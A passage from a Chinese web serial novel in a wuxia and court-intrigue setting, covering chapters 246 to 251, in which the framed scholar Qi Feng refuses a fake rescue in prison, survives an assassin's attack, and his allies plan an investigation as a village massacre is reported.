“现在最关键的是找到证据,要么找到幽冥教操控张老三的线索,比如他近期接触过的人、收到的财物,要么找到萧无痕伪造证据的痕迹,比如那枚玉佩的来源、纸条的笔迹模仿者。”
“我已经让人去查张老三在牢里的饮食起居,还有萧无痕最近派锦衣卫接触过的工匠,相信用不了多久,就能有消息。”
他顿了顿,又道:“另外,我还写了一封奏折,详细说明了齐贤弟的情况,从他春闱夺魁,到帮官府破袁克良案、救我性命,再到幽冥教的阴谋,一字一句都写得清清楚楚,已经让人快马加鞭送往京城,直接交给李大人。”
“虽然萧无痕的奏折先一步送出,但李大人素来公正,最恨这种借案构陷的手段,只要他看到我的奏折,定会派人来府城重新彻查。”
赵明德点了点头,脸上终于露出一丝松动,紧绷的肩膀也放松了几分。
第两百四十六章 睁只眼闭只眼
“也只能这样了。希望咱们的人能尽快找到证据,也希望李大人能早日看到奏折。齐贤弟在天牢里多待一天,就多一分危险,天牢的环境本就恶劣,萧无痕要是再暗中使绊子,后果不堪设想。”
两人又聊了片刻,确定了后续的部署。
赵明德负责盯着府城的动静,尤其是城西乱葬岗和废弃古宅,防止幽冥教趁机布置祭坛。
卢正淳则继续跟进证据和奏折的事,一旦有消息,立刻派人互通。
议事厅内的气氛虽仍凝重,却多了几分“有方向可寻”的希望,窗外的阳光透过窗棂洒进来,在密报上投下细碎的光斑,像是黑暗中的点点光亮。
与此同时,袁府的书房内,气氛却透着一股阴冷的躁动。
袁振山身着深蓝色锦袍,坐在太师椅上,手中拿着一份从锦衣卫驿站传来的密报,眉头紧锁。
指尖在密报边缘反复摩挲,神色复杂,既有“少了一个对手”的轻松,又有“事情太过顺利”的疑虑。
他对面的梨花木椅子上,袁惊尘翘着二郎腿,姿态散漫地靠在椅背上,手中把玩着一把淬了毒的短刀。
刀身泛着诡异的青绿色,是他从断魂谷带回来的“噬魂刃”,此刻正被他随意地抛起、接住,金属碰撞的“咔嗒”声在安静的书房内格外刺耳。
“父亲,齐枫那小子总算要栽了。”袁惊尘的声音带着几分漫不经心,甚至透着一丝不屑,短刀在他指尖转了个圈。
“萧无痕把他关在天牢里,还上报京城说他是乾朝余孽,这下他就算有通天的本事,也难翻身了。”
袁振山抬眸看了他一眼,放下密报,摇了摇头:“别太轻敌。齐枫那小子诡计多端,之前克良设下那么周密的陷阱,都被他轻易破解,这次未必能彻底把他扳倒。”
“袁克良?”袁惊尘嗤笑一声,短刀猛地停在指尖,青绿色的刀身映出他眼中的嘲讽。
“他就是个废物,连个书生都斗不过,**也是活该。父亲,您就是太谨慎了,齐枫现在人证物证俱在,萧无痕又铁了心要置他于死地,就算他再聪明,还能从天牢里逃出来不成?”
“再说,乾朝余孽这个罪名,一旦坐实,就是抄家灭族的大罪,赵明德和卢正淳就算想护他,也护不住。”
袁振山摇了摇头,手指轻轻敲击着太师椅的扶手:“他好歹是你大哥,注意点分寸!你刚从断魂谷回来,不知道齐枫的手段。他不仅有才华,还懂医术、会阵法,连幽冥教的邪术都能化解。”
“这次他被栽赃,说不定早就留了后手。咱们现在最该做的,是静观其变,而不是贸然出手,免得被他反咬一口,让袁氏再次陷入危机。”
“静观其变?”袁惊尘猛地坐直身体,短刀在掌心重重一握,眼中闪过一丝戾气,“父亲,您是怕了?齐枫活着一天,就会碍着袁氏的路,他的锦绣阁抢了咱们袁氏的丝绸生意。”
“他的人脉又拉拢了府城大半商户,现在连官府都偏向他。若是这次不趁机除掉他,等他翻身,第一个对付的就是咱们袁氏!”
他站起身,快步走到书房中央,青绿色的短刀在晨光下泛着冷光:“父亲,您放心,我不会让袁氏陷入危机。”
”齐枫现在被困在天牢里,身边只有两个看守的锦衣卫,正是最脆弱的时候。我去加一把火,让他彻底没有翻身的可能!”
袁振山看着袁惊尘眼中的狠厉,张了张嘴,似乎想阻止。
他知道这个小儿子的性子,一旦认定的事,十头牛都拉不回来。
可话到嘴边,却又咽了回去,只是重重地叹了口气,目光重新落在案上的密报上,心中隐隐升起一丝不安。
齐枫那小子,真的会这么容易被打倒吗?袁惊尘这一去,会不会惹出什么乱子?
天牢深处的牢房里,潮湿的空气混杂着霉味与铁锈味,从狭小的窗棂透进来的微光,勉强照
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亮了半张铺着稻草的木床。
齐枫半躺在床榻上,双腿随意地翘着,青衫的衣摆搭在床沿,指尖还无意识地跟着哼歌的节奏轻轻敲击着膝盖,一派悠哉自在的模样。
“明月几时有,把酒问青天,不知天上宫阙,今夕是何年~”
他哼的调子古怪,与当下流行的诗词韵律截然不同,却透着一股洒脱的意味,在寂静的天牢里格外清晰。
守在牢房外的两名锦衣卫早已习惯了他这副“不似囚犯”的模样。
起初还觉得怪异,久而久之也懒得理会,只是靠在墙角打盹,手中的长刀斜倚在腿边,警惕性早已松懈了大半。
就在这时,一阵轻微的“咚”声突然响起,像是重物落地的闷响。
齐枫哼歌的调子顿了顿,眼皮都没抬,嘴角却勾起一抹若有若无的笑意。
下一秒,两名锦衣卫便直挺挺地倒在地上,双目紧闭,显然是被人暗中下了药。
一道黑影如鬼魅般从牢房转角闪出来,动作轻得像一片羽毛,落地时连灰尘都未惊动。
黑衣人全身裹在黑色夜行衣里,只露出一双眼睛,手中握着一柄泛着冷光的短刀,刀身狭长,刀背上还刻着细密的蛇形纹路,一看便知是惯用的**利器。
他警惕地扫了一眼地上的锦衣卫,确认两人已失去意识,才蹑手蹑脚地走到齐枫的牢房外。
手指搭在冰冷的铁锁上,不知从哪里摸出一根细铁丝,轻轻插入锁孔,只听“咔嗒”一声轻响,铁锁便被打开。
黑衣人推开牢门,一股更浓重的霉味扑面而来,他却像是毫无察觉,快步走到齐枫面前,压低声音道:“齐公子,快跟我走!青禾姑娘让我来救你!”
齐枫这才缓缓坐起身,双腿放下床榻,脚掌踩在冰凉的地面上,却依旧没起身,只是抬眸看向黑衣人,目光平静得像是在看一个普通访客。
“救我?我在这里待得好好的,为什么要走?”
第两百四十七章 劫狱
黑衣人显然没料到他会是这个反应,眼中闪过一丝错愕,随即又恢复了急切。
“齐公子,现在不是开玩笑的时候!萧大人已经把罪证上报京城,还买通了天牢的看守,再过两天,他就会以乾朝余孽的罪名,把你秘密处决!青禾姑娘和南宫姑娘、柳姑娘为了让我进来,费了好大的劲,甚至动用了云州商盟的关系。”
”他们托人买通天牢的狱卒,又派高手引开外围的锦衣卫,我才能顺利到这里,你快跟我走,再晚就来不及了!”
他一边说,一边伸手去拉齐枫的胳膊,语气带着几分焦急:“你以为找证据就能洗清罪名?萧大人根本不给你机会!他昨天还让人去天牢的伙房,在你的饭菜里加了**!”
“若不是青禾姑娘提前察觉,让我带了解药,你现在早就**了!留得青山在,不怕没柴烧,你要是**,一切都完了!”
齐枫却轻轻避开他的手,依旧坐在床榻上,轻轻摩挲着衣袖上的褶皱,笑着摇了摇头。
“我若现在跟你走,岂不是坐实了畏罪潜逃的罪名?到时候萧无痕更有理由说我是乾朝余孽,不仅我洗不清冤屈,还会连累青禾、南宫姑娘她们,你觉得,这是她们想看到的结果?”
“可你不走,就会死在这里!”黑衣人的声音陡然拔高,又迅速压低,眼中满是急切。
“青禾姑娘说了,只要你能安全出去,她愿意带着你去云州!萧无痕再厉害,也不敢追到云州!你不能让她们的付出白费!”
齐枫脸上的笑容淡了几分,却依旧没有起身的意思。
“她们的心意我领了,但我不能走。清者自清,用不了多久,就能还我清白。再说,天牢虽危险,却也是最安全的地方。”
“萧无痕想杀我,却不敢在天牢里明目张胆动手,怕落人口实,幽冥教想害我,也得顾忌萧无痕的锦衣卫。我留在这里,反而比出去更安全。”
黑衣人见他油盐不进,眼中的急切渐渐褪去,取而代之的是一丝不易察觉的冷意。
他握着短刀的手紧了紧,刀身泛着的寒光映在眼底:“齐公子,我最后问你一次,你到底走不走?”
齐枫摊了摊手,语气轻松:“我不走。你完成你的任务就好,回去告诉青禾她们,让她们放心,我在这里没事。”
“好!好得很!”黑衣人的声音陡然变得冰冷,眼中闪过一丝杀气,“既然你不走,那就在这里等死吧!”
话音未落,他猛地举起短刀,朝着齐枫的胸口刺去!
刀风凌厉,带着一股阴寒之气,刀背上的蛇形纹路在微光下泛着诡异的光泽,显然是淬了剧毒,想一招致命!
齐枫却早有防备,身体猛地向后一仰,避开短刀的同时,脚尖在床榻上轻轻一点,整个人如同柳絮般飘到牢房另一侧,动作轻盈得不像个“文弱书生”。
就在这时,一道灰色身影突然从牢房外的阴影里跳出来,正是易容成普通狱卒的富贵!
他手中握着一根短棍,朝着黑衣人的后背狠狠砸去,动作又快又狠!
“敢对少爷动手,找死!”富贵的声音带着愤怒,他本是奉齐枫之命,暗中守在牢房附近,以防有人偷袭,没想到真的等到了刺客。
黑衣人见状,不得不放弃攻击齐枫,转身格挡。
短刀与短棍碰撞,发出“当”的一声脆响,火花四溅。富贵只觉一股阴寒之力顺着短棍传来,手臂瞬间泛起一层白霜,显然是中了刀上的毒素!
他早年在江湖摸爬滚打,对毒物早有防备,当即运起内力逼退毒素,右腿如钢鞭般横扫,直踢黑衣人的膝盖!
可黑衣人的身法却异常诡异,如同鬼魅般避开富贵的攻击,手中短刀再次刺出,直取富贵的咽喉!
这一刀又快又准,带着一股狠戾之气,显然是顶尖**的路数!
富贵毕竟易容,为了不暴露身份,不敢动用全部实力,只能勉强应对。
几个回合下来,便渐渐落了下风,被黑衣人一掌拍在胸口,踉跄着后退几步,一口鲜
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血险些喷出,只能死死握着短棍,警惕地盯着黑衣人,防止他再次进攻。
黑衣人冷笑一声,不再理会富贵,转身再次朝着齐枫扑去!
短刀直取齐枫的眉心,刀风裹挟着浓郁的阴寒之气,连周围的空气都仿佛要凝结成冰!
就在这千钧一发之际,一道红衣身影如闪电般从牢房外冲进来,手中圆月弯刀泛着冷光,精准地挡住了黑衣人的短刀!
“铛!”
一声巨响,短刀与弯刀碰撞,震得黑衣人手臂发麻,连退三步,眼中满是震惊。
他没想到,萧无痕竟会突然出现!
萧无痕握着弯刀的手稳如磐石,红衣在昏暗的牢房里格外刺眼。
他目光锐利地盯着黑衣人,语气冰冷:“大胆刺客,竟敢在天牢行凶!你是谁派来的?是幽冥教,还是袁氏?”
黑衣人定了定神,知道硬拼未必是萧无痕的对手,却也不肯轻易放弃。
他脚尖在地面一点,身形陡然提速,如鬼魅般绕到萧无痕身后,短刀直刺萧无痕的后心,刀身带着的阴寒之气,连周围的稻草都结上了一层薄霜!
萧无痕反应极快,手腕一转,圆月弯刀如同有了生命般,精准地挡住短刀,同时左脚向后一踢,直取黑衣人的小腹!
黑衣人连忙侧身避开,却被萧无痕抓住破绽,弯刀带着呼啸的风声,朝着他的肩膀劈去!
这一刀又快又狠,若是被劈中,整条手臂怕是要当场断裂!
黑衣人眼中闪过一丝狠厉,猛地从怀中掏出一把黑色粉末,朝着萧无痕撒去!
萧无痕早有防备,立刻运转内力,红衣无风自动,一股气浪将这粉挡在三尺之外。
可这短暂的耽搁,却给了黑衣人机会,他趁萧无痕分心,短刀再次刺出,直取萧无痕的咽喉!
“哼,雕虫小技!”
萧无痕冷哼一声,不闪不避,反而迎着短刀上前一步,左手如鹰爪般抓住黑衣人的手腕,同时右手的弯刀带着金光,朝着黑衣人的胸口劈去!
第两百四十八章 早有预料
这一击又快又准,显然是动用了真本事!
黑衣人脸色骤变,知道若是继续纠缠,定会被擒住。
他眼中闪过一丝决绝,猛地张口喷出一口黑血,血珠落在地上竟化为一只只微型鬼影,朝着萧无痕的脚踝扑去!
这是“血影分身”秘术,以自身精血为引,召唤鬼影噬人,就算是金刚不坏之身也能被咬出伤口!
萧无痕见状,左脚轻轻一跺,一股金色气浪顺着地面扩散,那些微型鬼影刚触碰到气浪,便发出“滋滋”的灼烧声,瞬间化为飞灰。
可就在这短暂的间隙,黑衣人猛地挣脱萧无痕的钳制,从怀中掏出三枚黑色***,朝着地面掷去!
“砰!砰!砰!”
***炸开,黑色烟雾瞬间弥漫开来,挡住了所有人的视线。黑衣人趁机转身,如鬼魅般朝着牢房外冲去,动作快得惊人!
他熟悉天牢的布局,专门挑着阴暗的转角逃窜,还故意打翻了墙角的油灯,让火焰蔓延开来,阻碍萧无痕的追击。
萧无痕见状,立刻挥刀驱散烟雾,又一脚踩灭蔓延的火焰,却还是慢了一步,只能眼睁睁看着黑衣人消失在天牢的转角。
烟雾渐渐散去,牢房内恢复了清晰。
齐枫站在原地,神色平静,仿佛刚才的凶险与他无关。
富贵捂着胸口,脸色苍白,嘴角还残留着一丝血迹。
萧无痕握着圆月弯刀,目光阴沉地盯着黑衣人消失的方向,眼中满是杀意,手中的弯刀还在微微颤抖,显然刚才的打斗也消耗了他不少内力。
天牢内再次陷入寂静,只剩下三人的呼吸声,和地上两名昏迷锦衣卫的微弱鼾声。
天牢内的寂静没持续多久,便被一阵急促的脚步声打破。
赵明德身着藏青色官服,衣摆被风吹得猎猎作响,身后跟着十几名捕快,腰间的短刀随着快步走动轻轻晃动,脸上满是焦灼。
他刚踏入牢房区域,就闻到空气中残留的血腥味与阴寒气息,脚步不由得加快几分。
“齐贤弟!你怎么样?有没有受伤?”赵明德冲进牢房,目光第一时间锁定齐枫,见他依旧一身青衫整洁,甚至还带着几分闲适,悬着的心才稍稍放下。
可当他看到地上昏迷的锦衣卫、富贵嘴角的血迹,以及墙角被打翻的油灯残骸时,脸色瞬间沉了下来,转身看向萧无痕,带着压抑的怒火。
“萧大人,这到底是怎么回事?光天化日之下,竟有人敢在天牢行凶,你的人就是这么看守的?”
萧无痕握着圆月弯刀,刀身的冷光映着他阴沉的脸色,他指了指黑衣人影消失的转角,声音没有半分温度。
“是幽冥教的刺客,目标是齐枫,被我击退了。”
“幽冥教的刺客?”赵明德眼睛陡然睁大,快步上前一步,与萧无痕面对面站着,两人之间的空气仿佛都因气场碰撞而凝固。
“萧大人,你这话未免太巧合了!齐贤弟刚被你以乾朝余孽的罪名关进来,幽冥教的刺客就找上门来灭口,这分明是有人想借刀**,坐实齐贤弟的罪名!若他真与余孽勾结,刺客为何要杀他?他们该拉拢才对!”
他顿了顿,声音陡然拔高:“萧大人,现在证据就摆在眼前!齐贤弟是被冤枉的,是幽冥教与别有用心之人联手算计!你该立刻释放他,还他清白,而不是继续把他关在这阴暗潮湿的天牢里,给刺客可乘之机!若是齐贤弟出了任何差错,府城百姓不会答应,我这个知府也绝不会善罢甘休!”
萧无痕却毫不动容,握着弯刀的手指微微收紧,刀鞘与刀柄碰撞出细碎的声响。
“赵大人,办案讲究的是铁证,不是常理推断。你怎么确定刺客就是幽冥教的人?又怎么排除这是齐枫自导自演的戏码——故意引来所谓的刺客,让你误以为他是受害者,从而达到脱罪的目的?”
“你简直不可理喻!”赵明德气得胸膛剧烈起伏,藏青色官服的领口都被扯得有些歪斜。
“齐贤弟是什么人,府城百姓有目共睹!他今年才来府城,中了
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春闱榜首后,没想着趁机攀附权贵,反而捐粮设粥棚救济灾民,帮南街商户对抗袁氏的欺压,甚至还出钱修缮破损的石板路!这样的人,会自导自演这种卑劣戏码?萧大人,你别因为想抢功,就罔顾事实,冤枉好人!”
“抢功?”萧无痕冷笑一声,红衣在昏暗的天牢里格外刺眼,他上前一步,两人之间的距离不足三尺,气息交锋更显激烈。
“赵大人,本官自接任锦衣卫指挥使以来,查过的案子没有一百也有八十,从未有过半点徇私!齐枫身上的疑点还没查清,张老三的指认、刻着齐字的玉佩、写着血月的纸条,这些证据一日不被推翻,他的嫌疑就一日不能洗清!仅凭一个来历不明的刺客,就想让我释放他,未免太草率了!”
他目光扫过在场众人,身上带着不容置疑的威严:“此事关乎乾朝余孽,若是放错了人,让反贼继续潜伏在府城,甚至勾结幽冥教发动叛乱,朝廷怪罪下来,你我都担不起这个责任!”
“必须彻底调查清楚,找到幽冥教操控张老三、伪造证据的铁证,才能还齐枫清白。在这之前,他必须继续留在天牢,这是本官的底线,也是对朝廷、对府城百姓负责!”
赵明德还想争辩,却被齐枫轻轻拉住衣袖。
齐枫走到两人中间,神色平静得仿佛置身事外,他先对着赵明德微微颔首,笑着安抚:“赵大人,萧大人说得有道理。若是仅凭一场刺客袭击就释放我,不仅会让京城觉得府城办案敷衍,还会让真正的幕后黑手觉得咱们好糊弄,反而不利于后续追查。”
“我留在天牢里,反而能成为诱饵,引出更多幽冥教的线索,帮咱们彻底查清真相。”
“可是齐贤弟……”赵明德看着他从容的模样,心中满是担忧,“这牢房环境恶劣,又有刺客惦记,我实在放心不下。再说,萧大人对你的猜忌从未消除,谁知道他会不会暗中使绊子?”
萧无痕听到这话,脸都绿了。
这么不避人的吗?
第两百四十九章 尽在掌握
齐枫笑着拍了拍他的手背,目光转向萧无痕,脸上带着几分笃定:“萧大人是朝廷命官,就算对我有猜忌,也不会在天牢里做手脚,他要的是名正言顺的证据,不是我的性命。而且,有萧大人加强守卫,幽冥教的刺客再想进来,没那么容易。”
“赵大人,你现在最该做的,是尽快找到张老三被胁迫的证据,只要这些疑点被推翻,我的冤屈自然能洗清。”
赵明德看着齐枫眼底的坚定,知道再劝下去也无用,只能重重地叹了口气,脸上带着无奈。
“好吧,我听你的。但你一定要保重自己,我已经让人在天牢外安排了亲信,只要你有事,我片刻内就能带人赶来!若是萧大人敢对你动刑,或者有任何异常,你千万别硬撑!”
齐枫点头应下:“放心,我有分寸。”
萧无痕看着两人的互动,眼中闪过一丝复杂的情绪,却没再多言,只是对着赵明德道:“赵大人,刺客的踪迹我会派人追查,天牢的守卫也会加倍。你那边若是查到线索,记得及时通报,别因为私人交情耽误了办案。”
赵明德冷哼一声,没再理会萧无痕,只是又对着齐枫叮嘱了几句“按时吃饭”“注意保暖”,才带着捕快转身离开。
沉重的脚步声渐渐远去,天牢内再次恢复了寂静,只剩下烛火燃烧的“噼啪”声,和窗外偶尔传来的巡逻锦衣卫的脚步声。
齐枫伸了个懒腰,重新躺回铺着稻草的木床,双腿随意地翘在床沿,指尖又开始跟着哼起那首古怪的曲子,调子轻快,与天牢的压抑氛围格格不入。
富贵捂着胸口,走到齐枫面前,脸色依旧苍白,嘴角的血迹还未擦去:“少爷,刚才那刺客的身手太诡异了,刀上还淬了毒,若不是萧大人及时赶到,我怕是……”
“没事就好。”齐枫摆了摆手,语气轻松,“你先下去找大夫处理伤口,这里有锦衣卫守着,不会再出事。记得跟青禾她们传个信,让她们别再担心,也不用派人来救我,现在留在天牢,才是最安全的选择。”
富贵点了点头,又看了齐枫一眼,才拖着受伤的身体,慢慢朝着天牢外走去。
牢房内只剩下齐枫一人,他望着狭小窗棂外那片灰蒙蒙的天空,嘴角勾起一抹若有若无的笑意。
一切都在按计划推进。
萧无痕站在牢房外的阴影里,看着齐枫悠哉的模样,眉头皱了皱,手中的圆月弯刀微微颤动。
他实在看不懂这个春闱榜首。
身陷囹圄却毫无惧色,面对刺客袭击依旧从容,仿佛天牢不是牢笼,而是他的休憩之所。
他冷哼一声,转身对着守在门口的锦衣卫吩咐:“加强巡逻,不许任何人靠近这间牢房,就算是赵大人的人,也得经过我的同意才能进来。”
锦衣卫连忙躬身应下,萧无痕才握着弯刀,转身离开天牢。
红色的身影消失在转角,只留下一股淡淡的血腥味,与天牢的霉味、烛火的烟味混杂在一起,透着几分说不出的压抑。
与此同时,袁府的书房内,气氛却弥漫着一股疯狂的戾气。
袁振山身着深蓝色锦袍,坐在太师椅上,手中的密报被他攥得皱巴巴的,脸色阴沉得能滴出水来。
他对面的梨花木椅子上,袁惊尘刚换下沾着灰尘的黑色夜行衣,换上了一身月白锦袍,可他脸上没有半分贵公子的优雅,反而满是狰狞的戾气。
他手中握着那柄淬了毒的短刀,刀身泛着的青绿色光芒在烛火下跳动,映得他眼底满是疯狂的杀意。
“你去天牢了?”袁振山的声音带着几分压抑的怒火,目光死死盯着袁惊尘,指节因用力而泛白,“我不是让你别轻举妄动吗?你为什么非要去招惹齐枫?”
袁惊尘将短刀重重拍在桌案上,茶水溅出杯沿,在密报上晕开深色的水渍。
他站起身,月白锦袍的衣角扫过地面,带着一股狠戾:“轻举妄动?父亲,再不动手,齐枫那小子就该翻身了!萧无痕把他关在天
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牢里,却迟迟不杀他,我等不了!”
他顿了顿,将天牢里的经过说了出来。
“那齐枫有点意思!”袁惊尘冷笑一声,“我都告诉他,萧无痕要秘密处决他,他居然还笑!说什么清者自清,他凭什么这么嚣张?我本想一刀杀了他,没想到萧无痕突然冒出来,坏了我的好事!”
袁振山看着他疯狂的模样,心中涌起一丝不安,却还是强压下情绪。
“你知不知道你这么做有多危险?若是被萧无痕查到刺客是你,袁氏会被直接卷进乾朝余孽案,到时候就算是我,也保不住你!”
“保不住我?”袁惊尘嗤笑一声,眼中满是嘲讽,“父亲,你什么时候这么怕事了?我用的是幽冥教的噬魂刀,用的是他们的血影分身秘术,萧无痕只会以为是幽冥教的人干的,怎么会怀疑到我头上?再说,我已经把夜行衣和短刀都扔到乱葬岗了,没有任何证据!”
他走到窗边,望着天牢的方向,眼中满是不甘的疯狂:“我不甘心!我在断魂谷练了三年,杀了那么多猛兽、那么多对手,回来居然连一个书生都杀不了!”
“我精心策划的局,他居然不上当,这该死的齐枫,居然不上当!错失了这么好的机会,我真是不甘心!”
袁振山看着他眼底的偏执,张了张嘴,似乎想再说些什么,却又在袁惊尘疯狂的目光中闭上了嘴。
他重重地叹了口气,目光重新落在案上的密报上,心中的不安愈发强烈。
齐枫那小子,仿佛有一张无形的网,不仅没被困境困住,反而让袁惊尘变得疯狂。
……
富贵捂着受伤的胸口,步履蹒跚地回到锦绣阁时,已是午后。
秋日的阳光透过朱红大门洒进庭院,落在青砖地上。
南宫玥、柳若雪、楚清秋、周子陵、徐远、陈玉堂、赵明兰等人早已**在正厅,连小荷都乖乖地坐在楚清秋身边,小手紧紧攥着青色裙摆,平日里叽叽喳喳的模样荡然无存。
第两百五十章 又被屠村
“富贵!你可算回来了!”南宫玥第一个迎上前,纱裙随着动作轻轻飘动,她目光落在富贵苍白的脸色和嘴角未擦净的血迹上。
“齐郎怎么样了?天牢里是不是出事了?你这伤是怎么弄的?”
众人瞬间围了上来,七嘴八舌的追问声此起彼伏。
周子陵抓着富贵的胳膊,急得直跺脚:“快说啊富贵!齐兄是不是遇到危险了?萧无痕那厮是不是对他动刑了?”
徐远则盯着富贵的伤口,眉头紧锁:“这伤看着像是被内力所伤,难道是有人在天牢里对齐兄动手了?”
富贵深吸一口气,忍着胸口传来的阵阵刺痛,缓缓开口:“诸位放心,少爷没事。方才天牢里来了个黑衣人,想对少爷下**,幸好萧大人及时赶到,才击退了刺客。”
“黑衣人?刺客?”楚清秋握着软剑的手猛地一紧,面纱下的眼神瞬间变得锐利,“是幽冥教的人?还是袁氏派来的?”
富贵点头,脸色带着几分凝重:“那黑衣人用的是幽冥教的邪术,刀上还淬了毒,身手诡异得很。我出手阻拦,却不是他的对手,被他一掌拍在胸口,若不是萧大人来得快,后果不堪设想。”
他顿了顿,又道:“少爷说,这刺客来得蹊跷,正好证明他是被冤枉的,若他真与幽冥教勾结,对方何必费力杀他?”
“少爷还说,现在不能离开天牢,否则会坐实畏罪潜逃的罪名,反而让萧无痕抓住把柄。他让咱们继续找证据,等查清真相,自然能洗清冤屈。”
“什么?还要留在天牢?”赵明兰急得跳脚,“那地方多危险啊!今天来个刺客,明天指不定来什么!萧无痕连自己的人都护不住,怎么能护住齐枫?我去找我叔父,让他强行把齐枫救出来!”
“明兰姑娘,别冲动。”楚清秋伸手拉住她,“少爷说得对,现在离开天牢就是自投罗网。萧无痕本就想找借口坐实他的罪名,咱们若是强行救人,反而会让他抓住机会,把勾结乱党的帽子扣得更紧,到时候连赵大人都保不住他。”
柳若雪也跟着点头,手中团扇轻轻晃动:“青禾姑娘说得有道理。齐公子心思缜密,他既然决定留在天牢,必然有自己的考量。咱们现在最该做的,是按他的吩咐找证据,而不是添乱。”
周子陵摸了摸下巴,眼中闪过一丝了然:“我懂了!齐兄这是想以静制动!他留在天牢里,既能引出幽冥教的更多动作,又能让萧无痕放松警惕,咱们正好趁机查清楚真相。”
“富贵,齐兄有没有说具体要查什么?”
富贵连忙道:“没说什么,只说让我们盯紧城西乱葬岗、废弃古宅这些聚阴之地,防止幽冥教布置祭坛。”
“这事交给我们!”徐远立刻拍着胸脯保证。
赵明兰也冷静下来,对着众人道:“我回去跟我叔父说,让他再给京城写奏折,多找些官员为齐枫担保!我叔父在京城认识不少人,只要他们肯为齐枫说话,京城的人就不会只听萧无痕一面之词!”
小荷也松开攥着裙摆的手,仰着小脸:“我也能帮忙!我多去茶肆听消息,等少爷出来,我还要给他做桂花糕,庆祝他洗清冤屈!”
众人看着小荷认真的模样,都忍不住笑了笑,正厅内凝重的气氛终于缓和了几分。
南宫玥走到楚清秋身边,轻声道:“青禾,绣坊和染坊的事就交给我和若雪吧。咱们不能因为找证据耽误了生意,锦绣阁的正常运转,也是对齐郎的一种支持。”
“只要生意还在,就证明咱们没被打垮,也能让萧无痕和幽冥教知道,咱们不会轻易认输。”
柳若雪点头附和:“是啊,绣娘们已经赶制出不少新纹样的丝绸,正好借着云州商盟的订单,把生意做大。”
楚清秋看着众人分工明确,眼中闪过一丝欣慰:“好,就按大家说的办。富贵,你先去后院找大夫处理伤口,好好养伤,后续可能还需要你帮忙。咱们齐心协力,一定能尽快找到证据,让齐枫早日离开天牢。”
众人纷纷应下,不再耽搁。
周子陵、徐远、陈玉堂三人率先离开,他们要赶在天黑前联系笔迹匠人和天牢的熟人。
赵明兰也匆匆离去,她要尽快回府跟赵明德沟通。
南宫玥和柳若雪则留在锦绣阁,整理齐枫的行踪记录,从他春闱夺魁,到开锦绣阁、捐粮修桥,每一个时间节点都标注得清清楚楚,确保能作为证明他清白的有力证据。
楚清秋则带着小荷,去后院安排
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人手加强守卫,防止幽冥教的人前来偷袭。
正厅内渐渐恢复安静,只剩下阳光透过窗棂洒下的光斑,和空气中残留的淡淡茶香。
与此同时,府衙的议事厅内,气氛却异常紧张。
赵明德身着藏青色官服,站在挂着府城地图的墙壁前,手指在地图上的“黑松林”“城西乱葬岗”“废弃古宅”等地点反复摩挲,眉头紧锁。
卢正淳坐在一旁的太师椅上,身上盖着薄毯,脸色虽依旧苍白,眼神却异常锐利,手中还拿着一份刚送来的密报。
“卢大人,你觉得幽冥教的祭坛会设在什么地方?”赵明德转过身,“之前齐贤弟说,幽冥教的血月祭需要聚阴之地,城西这几个地方都符合条件。但黑松林附近有一片艾草地,正好能用来炼制邪术**,我觉得这里的可能性最大。”
卢正淳放下密报,咳嗽了两声:“黑松林的可能性确实很大,但也不能排除其他地点。我已经让人分别盯着这三个地方,每半个时辰汇报一次动向。另外,关于张老三的调查也有了些眉目。”
他顿了顿,继续道:“我的人查到,张老三在被萧无痕提出来之前,一直在牢里跟一个外号黑鼠的囚犯走得很近。”
“这个黑鼠是个惯偷,去年因偷窃官银被抓,上个月却突然被释放,现在下落不明。我怀疑,黑鼠就是幽冥教安插在牢里的眼线,是他说服或胁迫张老三指认齐贤弟的。”
“太好了!”赵明德眼睛一亮,“只要找到黑鼠,就能证明张老三是被胁迫的,齐贤弟的冤屈就能洗清一半!我这就派人去查黑鼠的下落,他一个惯偷,肯定藏在府城的贫民窟或赌场,就算挖地三尺,也要把他找出来!”
卢正淳点头,眼中闪过一丝希望:“越快越好。萧无痕的奏折已经送往京城,按路程算,京城的人最多半个月就会到。”
“咱们必须在这之前找到证据,否则齐贤弟就危险了,萧无痕为了邀功,说不定会在京城的人到来前,对张老三动手,销毁证据。”
两人正讨论着后续部署,忽然听到议事厅外传来一阵急促的脚步声,伴随着一名衙役慌乱的呼喊:“大人!不好了!出大事了!城西的王家村……王家村被屠了!”
第两百五十一章 情况危急
这声呼喊如同惊雷,在寂静的议事厅内炸开。
赵明德猛地转过身,椅子腿在地上划出刺耳的“吱呀”声。
他快步走到衙役面前,双手抓住对方的肩膀,脸上带着难以置信的震惊:“你说什么?王家村被屠了?跟李家村一样?”
衙役跑得满头大汗,青色官服的后背被汗水浸透,紧紧贴在身上。
他喘着粗气,声音都带着明显的颤抖:“跟李家村一模一样!全村上下五十多口人,一个活口都没剩!死相特别凄惨,浑身软得像没骨头,嘴角挂着黑血,身上没有任何伤口,像是被什么东西吸干了精气!”
他顿了顿,又补充道:“是村里的货郎今早发现的,他去王家村收蚕丝,见家家户户都关着门,喊了半天没人应,就推开村头王老汉家的门,结果一院子都是尸体!”
”货郎吓得魂飞魄散,连货担都扔了,一路跑回府城报信!小的已经派了两个弟兄先去探查,到现在还没回来,怕是……怕是也出事了!”
赵明德和卢正淳对视一眼,都从对方眼中看到了一抹难以言喻的恐惧。
幽冥教又动手了!
而且这次,他们选择了离府城更近的王家村,显然是在挑衅官府,甚至可能是在为血月祭做最后的准备!
议事厅内的气氛瞬间变得压抑,窗外的阳光虽依旧明亮,却仿佛被一层阴云笼罩,透着一股说不出的寒意。
赵明德深吸一口气,压下心中的震惊愤怒,对着衙役厉声吩咐:“立刻召集所有捕快和武僧,带上兵刃和火把,随我去王家村!另外,派人去通知齐贤弟……不,先别告诉他,免得他在天牢里担心!”
卢正淳看着赵明德紧绷的侧脸,轻声提醒:“你务必小心!幽冥教敢再次屠村,肯定有恃无恐,说不定在王家村设了陷阱,或者留下了尸傀儡。若是遇到危险,立刻撤退,不要硬拼,保存实力,才能更好地追查真相,保护府城百姓。”
赵明德点了点头,不再耽搁,快步朝着议事厅外走去。
沉重的脚步声渐渐远去,议事厅内只剩下卢正淳一人,他看着地图上王家村的红色标记,手指无意识地攥紧了薄毯。
幽冥教的动作越来越频繁,越来越残忍,他们的血月祭。
恐怕已经离府城越来越近了!
赵明德带着捕快和武僧赶往王家村时,秋日的风已带上几分寒意,卷起路上的枯叶,在青石板上打着旋。
他勒住马缰,胯下的枣红马打了个响鼻,蹄子在地面轻轻刨动,喷出的白气在微凉的空气中迅速消散。
